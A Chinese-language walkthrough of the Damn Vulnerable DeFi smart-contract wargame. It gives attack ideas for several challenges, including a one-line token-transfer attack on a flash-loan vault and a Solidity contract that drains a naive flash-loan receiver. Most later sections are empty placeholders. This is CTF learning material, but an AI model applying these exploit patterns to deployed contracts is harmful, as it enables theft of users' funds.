Damn Vulnerable DeFi 是学习以太坊 DeFi 智能合约攻击性安全性的战争游戏。
游戏内容包括:
- 闪贷
- 价格塔、
- 治理、
- NFT、
- DEX、
- 借贷池、
- 智能合约钱包
- 时间锁等
1.Unstoppable
关卡题目
https://www.damnvulnerabledefi.xyz/challenges/unstoppable/
通关需要让 Vault
合约停止提供 闪电贷
功能。
Hack思路
闪电贷逻辑理有检查合约内部的代币 和外部代币必须一致,只要通过外部给Vault转移一定Tokne就可以让逻辑运行不下去。
问题代码:
function flashLoan(){
// ...
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement
// ...
}
攻击代码:
await token.connect(player).transfer(vault.address, 1)
2.Naive Receiver
关卡题目
…
Hack思路
每次手续费 1 Ether, 而且 receiver 里 没有做校验,唇环借0歌token 来把钱耗光。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import { IERC3156FlashBorrower, IERC3156FlashLender } from "@openzeppelin/contracts/interfaces/IERC3156.sol";
contract NaiveReceiverHack {
address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
constructor(address _pool, address _receiver) {
for (uint256 i = 0; i < 10; i++) {
IERC3156FlashLender(_pool).flashLoan(
IERC3156FlashBorrower(_receiver), ETH, 0, "0x"
);
}
}
}
3.Truster
关卡题目
…
Hack思路
Lender Pool 里 调receiver 完全没有做检验,想怎么样就怎么样。
function flashLoan(){
// ...
// @audit-issue Execute abitraty call to any contract on behald of the pool
target.functionCall(data);
// ...
}
3.Side Entrance
关卡题目
…
Hack思路
合约有 deposit存钱 + flashLoan借贷功能, 没有做重入校验,可以直接把钱转走
4.The Rewarder
关卡题目
…
Hack思路
…
5.Selfie
关卡题目
…
Hack思路
…
7.Compromised
关卡题目
…
Hack思路
…
秘文转换 HEX => ASCII => Base64 Decode https://www.rapidtables.com/convert/number/hex-to-ascii.html
8.Puppet
关卡题目
…
Hack思路
…
9.Puppet V2
关卡题目
…
Hack思路
…
10.Free Rider
关卡题目
…
Hack思路
…
11.Backdoor
关卡题目
…
Hack思路
…
12.Climber
关卡题目
…
Hack思路
…
13.Wallet Mining
关卡题目
…
Hack思路
…
14.Puppet V3
关卡题目
…
Hack思路
…
15.ABI Smuggling
关卡题目
…
Hack思路
…
参考资料
- ERC4626
- Proxy
- FlashLoan
- Dex